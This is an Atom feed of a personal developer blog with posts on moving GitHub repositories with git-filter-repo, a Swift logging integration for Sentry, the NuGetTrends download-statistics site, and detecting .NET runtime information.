<?xml version='1.0' encoding='UTF-8'?><?xml-stylesheet href="http://www.blogger.com/styles/atom.css" type="text/css"?><feed xmlns='http://www.w3.org/2005/Atom' xmlns:openSearch='http://a9.com/-/spec/opensearchrss/1.0/' xmlns:blogger='http://schemas.google.com/blogger/2008' xmlns:georss='http://www.georss.org/georss' xmlns:gd="http://schemas.google.com/g/2005" xmlns:thr='http://purl.org/syndication/thread/1.0'><id>tag:blogger.com,1999:blog-7930636163197548393</id><updated>2026-02-23T01:42:15.901+01:00</updated><category term="Network"/><category term="Security"/><category term="C#"/><category term=".NET Core"/><category term="Tunneling"/><category term="Visual Studio"/><category term=".NET"/><category term=".Net Framework 4"/><category term="70-523"/><category term="AppVeyor"/><category term="Bing Maps"/><category term="Bosnia and Herzegovina"/><category term="Breakpoints"/><category term="CentOS"/><category term="Codecov"/><category term="Convert multiple web.config"/><category term="CoreCLR"/><category term="Covert channel"/><category term="DevOps"/><category term="FileSystemWatcher"/><category term="GitHub"/><category term="Google Maps"/><category term="HttpModule"/><category term="ICMP"/><category term="IDN"/><category term="MCPD"/><category term="Microsoft Certification"/><category term="Mono"/><category term="Moq"/><category term="NetmonAPI"/><category term="NuGet"/><category term="OSS"/><category term="Perforce"/><category term="PreApplicationStartMethod"/><category term="Punycode"/><category term="Re-target multiple applications"/><category term="Regex"/><category term="SAML2"/><category term="Selenium"/><category term="Serialization"/><category term="SignalR"/><category term="SonarCloud"/><category term="SonarLint"/><category term="SonarQube"/><category term="Span&lt;T&gt;"/><category term="Stored Procedure"/><category term="Travis-CI"/><category term="Unit tests"/><category term="WIF"/><category term="Wake on Lan"/><category term="cloudflare"/><category term="firebase"/><category term="runtime-info"/><category term="sentry.io"/><category term="yum"/><title type='text'>Bruno Garcia</title><subtitle type='html'>A little about my hobbies: Development, Computer Networks and Security</subtitle><link rel='http://schemas.google.com/g/2005#feed' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/posts/default'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/'/><link rel='hub' href='http://pubsubhubbub.appspot.com/'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><generator version='7.00' uri='http://www.blogger.com'>Blogger</generator><openSearch:totalResults>25</openSearch:totalResults><openSearch:startIndex>1</openSearch:startIndex><openSearch:itemsPerPage>25</openSearch:itemsPerPage><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-2361989202457201017</id><published>2020-12-30T21:08:00.005+01:00</published><updated>2021-04-15T05:19:42.279+02:00</updated><title type='text'>[new blog](https://garcia.in)</title><content type='html'>&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Dear Blogger.com, we need to talk.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Since I met &lt;b&gt;markdown&lt;/b&gt;, I&#39;ve been wanting to tell you. It&#39;s not going to work between us anymore.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;I&#39;ll now blog on &lt;a href=&quot;https://garcia.in&quot;&gt;https://garcia.in&lt;/a&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/2361989202457201017/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2020/12/new-bloghttpsgarciain.html#comment-form' title='1 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/2361989202457201017'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/2361989202457201017'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2020/12/new-bloghttpsgarciain.html' title='[new blog](https://garcia.in)'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><thr:total>1</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-2113456781590054355</id><published>2020-09-11T02:55:00.001+02:00</published><updated>2020-09-11T02:55:13.156+02:00</updated><title type='text'>Move repositories on GitHub without breaking links to PRs</title><content type='html'>&lt;p&gt;&amp;nbsp;Since it took me way too much time to figure this out, I&#39;ll write it down for future references.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;I needed to move a git repository from one GitHub repository to another one that already had code, past PRs, etc. It wasn&#39;t a simple &lt;i&gt;rename&lt;/i&gt; which would make GitHub redirect everything. It was adding a new history from one repository to another, while not getting rid of the past tags, releases.&lt;/p&gt;&lt;p&gt;When you squash a PR on GitHub by default it&#39;ll write the commit &lt;i&gt;message (#1)&lt;/i&gt;&lt;/p&gt;&lt;p&gt;Where the number following the # character is the PR number. When viewing this message on GitHub it&#39;ll link to the PR page on the repo.&lt;/p&gt;&lt;p&gt;If you simply push that git repo to another github repository, it&#39;ll link to the wrong PR page.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;To fix that you need to rename the &lt;i&gt;#1&lt;/i&gt; to a fully qualified PR link that GitHub understands.&lt;/p&gt;&lt;p&gt;It has the format: &lt;i&gt;organization/repository#1&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;&amp;nbsp; &lt;/i&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;For that, I&#39;ve used a tool called &lt;a href=&quot;https://github.com/newren/git-filter-repo&quot; target=&quot;_blank&quot;&gt;git-filter-repo.&lt;/a&gt; &lt;/p&gt;&lt;p&gt;&lt;i&gt;&amp;nbsp;&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;git filter-repo --commit-callback &#39;&lt;br /&gt;message = commit.message&lt;br /&gt;new_msg = re.sub(br&quot;(#(\d*))&quot;, br&quot;org/repo\1&quot;, message, flags=re.MULTILINE)&lt;br /&gt;print(new_msg)&lt;br /&gt;commit.message = new_msg&lt;br /&gt;&#39; --refs HEAD &lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;On the target repository I created an orphan branch:&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;&lt;i&gt;git checkout --orphan main&lt;/i&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;Pull the rewritten repository into &lt;i&gt;main&lt;/i&gt; branch, and pushed to remote. That&#39;s it.&lt;br /&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/2113456781590054355/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2020/09/move-repositories-on-github-without.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/2113456781590054355'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/2113456781590054355'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2020/09/move-repositories-on-github-without.html' title='Move repositories on GitHub without breaking links to PRs'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-1793255679771671222</id><published>2020-09-06T23:15:00.002+02:00</published><updated>2020-09-06T23:15:14.439+02:00</updated><title type='text'>Swift adventures: CocoaLumberjack logger</title><content type='html'>&lt;p&gt;I haven&#39;t had much contact with Swift other than writing a few unit tests on a project. So when someone asked about &lt;a href=&quot;https://forum.sentry.io/t/sending-log-files-to-sentry/10940&quot; target=&quot;_blank&quot;&gt;sending CocoaLumberjack logs to Sentry on the forum&lt;/a&gt; I thought it was a good excuse to write some Swift on the weekend.&lt;/p&gt;&lt;p&gt;To create an integration between two libraries written in Objective-C, to make sure you can support the most number of apps and platforms, the choice for a language is obvious: Objective-C.&lt;/p&gt;&lt;p&gt;The best thing about such a hobby project is:&lt;/p&gt;&lt;p&gt;Making sure you can support old code bases, where the developers have not invested in keeping things up-to-date doesn&#39;t not become a priority to you.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;With that in mind, I went ahead with the latest stable Swift version: 5.2.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;At the start I learned that I actually don&#39;t need xcode at all. So as part of my experiment, I decided to go without any of those &lt;i&gt;xcworkspace&lt;/i&gt;, &lt;i&gt;pbxproj&lt;/i&gt;, &lt;i&gt;xcscheme&lt;/i&gt; etc, and use only Visual Studio Code.&lt;/p&gt;&lt;p&gt;And the Swift CLI: &lt;br /&gt;&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;&lt;b&gt;swift build&lt;/b&gt;&lt;/p&gt;&lt;p&gt;and&lt;/p&gt;&lt;p&gt;&lt;b&gt;swift run &lt;br /&gt;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;&lt;b&gt;&amp;nbsp;&lt;/b&gt;&lt;/p&gt;&lt;p&gt;With the &lt;a href=&quot;https://github.com/bruno-garcia/SentryCocoaLumberjack/tree/main/.vscode&quot; target=&quot;_blank&quot;&gt;right Visual Studio tasks and launch configuration&lt;/a&gt; I was even able to step through the code with the debugger. Generally really nice.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;In the process I also learned about the &lt;a href=&quot;https://swiftpackageindex.com/bruno-garcia/SentryCocoaLumberjack&quot; target=&quot;_blank&quot;&gt;Swift Package Index&lt;/a&gt; which builds your project with different Swift versions and targets and creates a badge describing the compatibility.&lt;/p&gt;&lt;p&gt;&amp;nbsp;&lt;/p&gt;&lt;p&gt;On top of all the fun learning a new language and ecosystem, I got a &lt;a href=&quot;https://twitter.com/brungarc/status/1302412609371676672&quot; target=&quot;_blank&quot;&gt;good reminder that dogfooding&lt;/a&gt; is an incredible tool. Specially when you&#39;re building APIs and SDKs. I would even say that it makes sense to have a project at work that the team could work together a few hours a week to get a good verification of the experience of using what you&#39;re building.&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The code is here if you&#39;re interested: &lt;a href=&quot;https://github.com/bruno-garcia/SentryCocoaLumberjack&quot;&gt;https://github.com/bruno-garcia/SentryCocoaLumberjack&lt;/a&gt;&lt;/p&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;&lt;p&gt;The low res gif I recorded:&lt;/p&gt;&lt;div class=&quot;separator&quot; style=&quot;clear: both; text-align: center;&quot;&gt;&lt;a href=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUdoXveO5zd1zngzx46bSZQGJyxcgUVmbwdhj7FxqHF-LTH6qsaobkDdofYdgpUxAyO7_g5jzQXSRN4CLEqkGCnDMLQEY7V8USgUQd-a4OzEs0VFBPO7VpA-EHsn5zBgPkLwJFz1IYcuI/s960/sentry-cocoalumberjack.gif&quot; imageanchor=&quot;1&quot; style=&quot;margin-left: 1em; margin-right: 1em;&quot;&gt;&lt;img border=&quot;0&quot; data-original-height=&quot;960&quot; data-original-width=&quot;960&quot; height=&quot;640&quot; src=&quot;https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUdoXveO5zd1zngzx46bSZQGJyxcgUVmbwdhj7FxqHF-LTH6qsaobkDdofYdgpUxAyO7_g5jzQXSRN4CLEqkGCnDMLQEY7V8USgUQd-a4OzEs0VFBPO7VpA-EHsn5zBgPkLwJFz1IYcuI/w640-h640/sentry-cocoalumberjack.gif&quot; width=&quot;640&quot; /&gt;&lt;/a&gt;&lt;/div&gt;&lt;br /&gt;&lt;p&gt;&lt;br /&gt;&lt;/p&gt;</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/1793255679771671222/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2020/09/swift-adventures-cocoalumberjack-logger.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/1793255679771671222'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/1793255679771671222'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2020/09/swift-adventures-cocoalumberjack-logger.html' title='Swift adventures: CocoaLumberjack logger'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><media:thumbnail xmlns:media="http://search.yahoo.com/mrss/" url="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhUdoXveO5zd1zngzx46bSZQGJyxcgUVmbwdhj7FxqHF-LTH6qsaobkDdofYdgpUxAyO7_g5jzQXSRN4CLEqkGCnDMLQEY7V8USgUQd-a4OzEs0VFBPO7VpA-EHsn5zBgPkLwJFz1IYcuI/s72-w640-h640-c/sentry-cocoalumberjack.gif" height="72" width="72"/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-2343023210259009069</id><published>2019-07-16T22:47:00.001+02:00</published><updated>2019-07-16T22:47:45.733+02:00</updated><title type='text'>NuGetTrends: .NET libraries download trends</title><content type='html'>&lt;div class=&quot;_3xX726aBn29LDbsDtzr_6E _1Ap4F5maDtT1E1YuCiaO0r D3IL3FD0RFy_mkKLPwL4&quot; data-click-id=&quot;text&quot; style=&quot;max-width: 800px;&quot;&gt;
&lt;div class=&quot;_292iotee39Lmt0MkQZ2hPV RichTextJSON-root&quot;&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
I joined &lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://sentry.io/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;sentry.io&lt;/a&gt; just over a year ago. Soon after I started, I was tasked with writing a &lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://www.nuget.org/packages/Sentry&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;new .NET SDK for Sentry&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
Throughout the previews, I was always curious if the releases were being downloaded at all.&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
I found myself checking &lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://nuget.org/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;nuget.org&lt;/a&gt; and looking at the &lt;code class=&quot;_34q3PgLsx9zIU5BiSOjFoM&quot;&gt;Statistics&lt;/code&gt; for &lt;code class=&quot;_34q3PgLsx9zIU5BiSOjFoM&quot;&gt;total downloads&lt;/code&gt;. It was obvious we  in the .NET ecosystem were missing some package download stats website.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&lt;b&gt;Welcome &lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://nugettrends.com/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;NuGetTrends&lt;/a&gt;, to the .NET community!&lt;/span&gt;&lt;/b&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
NuGetTrends is a website with historical total download count for NuGet packages on &lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://nuget.org/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;nuget.org&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
There&#39;s data since &lt;b&gt;2013&lt;/b&gt; which was contributed by &lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://zzzprojects.com/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;ZZZ projects&lt;/a&gt;, the company behind the &lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://entityframework-extensions.net/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;EF Extensions&lt;/a&gt;. Shout out to Jonathan! Thanks a lot!&lt;/span&gt; Unfortunately there&#39;s a gap in 2017 of about 10 months, though.&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
Also,
 the UI so far has predefined filter for as far back as 2 years and 
result is grouped by week. Query string takes months as an integer 
though so URL hack to have some fun.&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
The &lt;b&gt;NuGetTrends&lt;/b&gt; workers go through the &lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://nuget.org/&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;nuget.org&lt;/a&gt;&#39;s
 catalog API so all the package&#39;s metadata are available in its 
database. That means there&#39;s the potential to build some new cool stats 
like:&lt;/span&gt;&lt;/div&gt;
&lt;ul class=&quot;_33MEMislY0GAlB78wL1_CR&quot;&gt;
&lt;li class=&quot;_3gqTEjt4x9UIIpWiro7YXz&quot;&gt;&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
How many packages are signed.&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;_3gqTEjt4x9UIIpWiro7YXz&quot;&gt;&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
Are the DLLs in the packages strong named.&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;_3gqTEjt4x9UIIpWiro7YXz&quot;&gt;&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
Packages with unoptimized DLLs.&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;_3gqTEjt4x9UIIpWiro7YXz&quot;&gt;&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
Stats package adoption of &lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://docs.microsoft.com/en-us/dotnet/standard/library-guidance/sourcelink&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;source link&lt;/a&gt;.&lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;li class=&quot;_3gqTEjt4x9UIIpWiro7YXz&quot;&gt;&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://docs.microsoft.com/en-us/nuget/reference/target-frameworks#supported-frameworks&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;TFM adoption&lt;/a&gt; (ran some queries for this and it&#39;s great how .NET Standard 2.0 picked up fast). &lt;/span&gt;&lt;/div&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
For some of those feature we&#39;d still need to download the actual packages and inspect its contents. There&#39;s some work there but this is the call for help!&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&amp;nbsp;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
Code&#39;s on GitHub: &lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://github.com/NuGetTrends/nuget-trends&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;https://github.com/NuGetTrends/nuget-trends&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
Thanks to the contributors: &lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://github.com/NuGetTrends/nuget-trends/graphs/contributors&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;https://github.com/NuGetTrends/nuget-trends/graphs/contributors&lt;/a&gt;&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
We&#39;re &lt;span style=&quot;color: black;&quot;&gt;&lt;a class=&quot;_3t5uN8xUmg0TOwRCOGQEcU&quot; href=&quot;https://gitter.im/NuGetTrends/Lobby&quot; rel=&quot;noopener noreferrer&quot; target=&quot;_blank&quot;&gt;online on Gitter&lt;/a&gt;, if you&#39;d like to chat.&lt;/span&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
It&#39;d be great to get some help too!&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
&lt;br /&gt;&lt;/div&gt;
&lt;div class=&quot;_1qeIAgB0cPwnLhDF9XSiJM&quot;&gt;
Let&#39;s build something cool out of this? It would be great to see that contributors list grow.&lt;/div&gt;
&lt;/div&gt;
&lt;/div&gt;
</content><link rel='replies' type='application/atom+xml' href='https://blog.brunogarcia.com/feeds/2343023210259009069/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='https://blog.brunogarcia.com/2019/07/nugettrends-net-libraries-download.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/2343023210259009069'/><link rel='self' type='application/atom+xml' href='https://www.blogger.com/feeds/7930636163197548393/posts/default/2343023210259009069'/><link rel='alternate' type='text/html' href='https://blog.brunogarcia.com/2019/07/nugettrends-net-libraries-download.html' title='NuGetTrends: .NET libraries download trends'/><author><name>Bruno Garcia</name><uri>http://www.blogger.com/profile/06119275781495671664</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyv6-cCkFMKtcSguiNxCAQG74GHyyx16kbvJUAAiK94IPIaJbyWM9zmD7Kjz9sBj42PYbMABHPfRbKQZ_bOpewa7pDd7wtPEWomKfDflOZ3u4h_c1O4baOmkwL3gvTOA/s100/286d2db.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-7930636163197548393.post-5868637482226079761</id><published>2018-04-15T18:06:00.000+02:00</published><updated>2018-06-07T20:20:25.112+02:00</updated><category scheme="http://www.blogger.com/atom/ns#" term=".NET"/><category scheme="http://www.blogger.com/atom/ns#" term="CoreCLR"/><category scheme="http://www.blogger.com/atom/ns#" term="Mono"/><category scheme="http://www.blogger.com/atom/ns#" term="runtime-info"/><category scheme="http://www.blogger.com/atom/ns#" term="sentry.io"/><title type='text'>.NET runtime information in different systems</title><content type='html'>&lt;i&gt;Edit:&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;I&#39;ve created a repository on GitHub to expose an API which simplifies getting runtime, operating system&amp;nbsp;and other platform information:&amp;nbsp;&lt;a href=&quot;https://github.com/getsentry/dotnet-sentry-platform-abstractions&quot;&gt;https://github.com/getsentry/dotnet-sentry-platform-abstractions&lt;/a&gt;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;If you are interested in contributing, please let me know. A &lt;a href=&quot;https://github.com/getsentry/dotnet-sentry-platform-abstractions&quot;&gt;few of issues were created&lt;/a&gt; to discuss API design and features, feel free to drop a message there.&amp;nbsp;&lt;/i&gt;&lt;br /&gt;
&lt;i&gt;There is already code to detect the different &lt;a href=&quot;https://github.com/getsentry/dotnet-sentry-platform-abstractions/blob/0bec1b58af1ae8abbc2b7f23ea43113b44d4acfa/src/Sentry.PlatformAbstractions/FrameworkInfo.cs&quot;&gt;installations of the .NET Framework&lt;/a&gt; installed and also what &lt;a href=&quot;https://github.com/getsentry/dotnet-sentry-platform-abstractions/blob/0bec1b58af1ae8abbc2b7f23ea43113b44d4acfa/src/Sentry.PlatformAbstractions/RuntimeInfo.cs&quot;&gt;runtime the code is running on.&lt;/a&gt;&amp;nbsp;Preview versions are &lt;a href=&quot;https://www.nuget.org/packages/Sentry.PlatformAbstractions&quot;&gt;available on NuGet.org.&lt;/a&gt;&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
An output from the sample app is &lt;a href=&quot;https://github.com/getsentry/dotnet-sentry-platform-abstractions/tree/dev/samples/Sentry.PlatformAbstractions.Console&quot;&gt;included under the samples directory&lt;/a&gt;.&lt;br /&gt;
&lt;i&gt;&lt;br /&gt;&lt;/i&gt;
&lt;i&gt;Read on for details:&lt;/i&gt;&lt;br /&gt;
&lt;br /&gt;
.NET Core is great multi-platform framework. In my previous job, most of the team members were working on Windows, I worked on a MacBook and we deployed stuff to CentOS and Windows Servers. Build servers had a mix of Windows Server 2012 R2, Windows Server 2016 and a lonely CentOS and it all worked just fine.&lt;br /&gt;
&lt;br /&gt;
The truth is that there are lots of business applications which are built with .NET Framework in a variety of versions with active development. At my new job (it&#39;s been 2 weeks), there&#39;s a focus in integrating all kinds of technologies and frameworks/versions to make developer&#39;s life&#39;s easier. If for example you maintain a Windows Form application built 6 years ago, targeting .NET Framework 4.5 which &lt;a href=&quot;https://support.microsoft.com/en-us/lifecycle/search/548&quot;&gt;Microsoft has dropped support to 2 years ago&lt;/a&gt;, it&#39;s possible that a tool like Sentry is even more vital to you. I&#39;d still recommend you upgrade to 4.5.2 though, at least, if possible.&lt;br /&gt;
&lt;br /&gt;
Because of that, it&#39;s one of Sentry&#39;s .NET SDKs goals to target as many framework versions as possible. It currently even supports .NET 3.5 which was released 10 years ago and &lt;a href=&quot;https://github.com/Microsoft/msbuild/issues/1333&quot;&gt;cannot be built with the new &lt;i&gt;msbuild SDK&lt;/i&gt;&lt;/a&gt;.&lt;br /&gt;
&lt;br /&gt;
While working on adding a feature to Sentry&#39;s SDK which augments the events sent to Sentry with data about the system where the app is running, I was presented with a different set of APIs available to different versions of the framework. For example, when targeting &lt;b&gt;netstandard2.0&lt;/b&gt;, it&#39;s possible to retrieve the framework information with:&lt;br /&gt;
&lt;br /&gt;
&lt;b&gt;System.Runtime.InteropServices.RuntimeInformation.FrameworkDescription&lt;/b&gt;&lt;br /&gt;
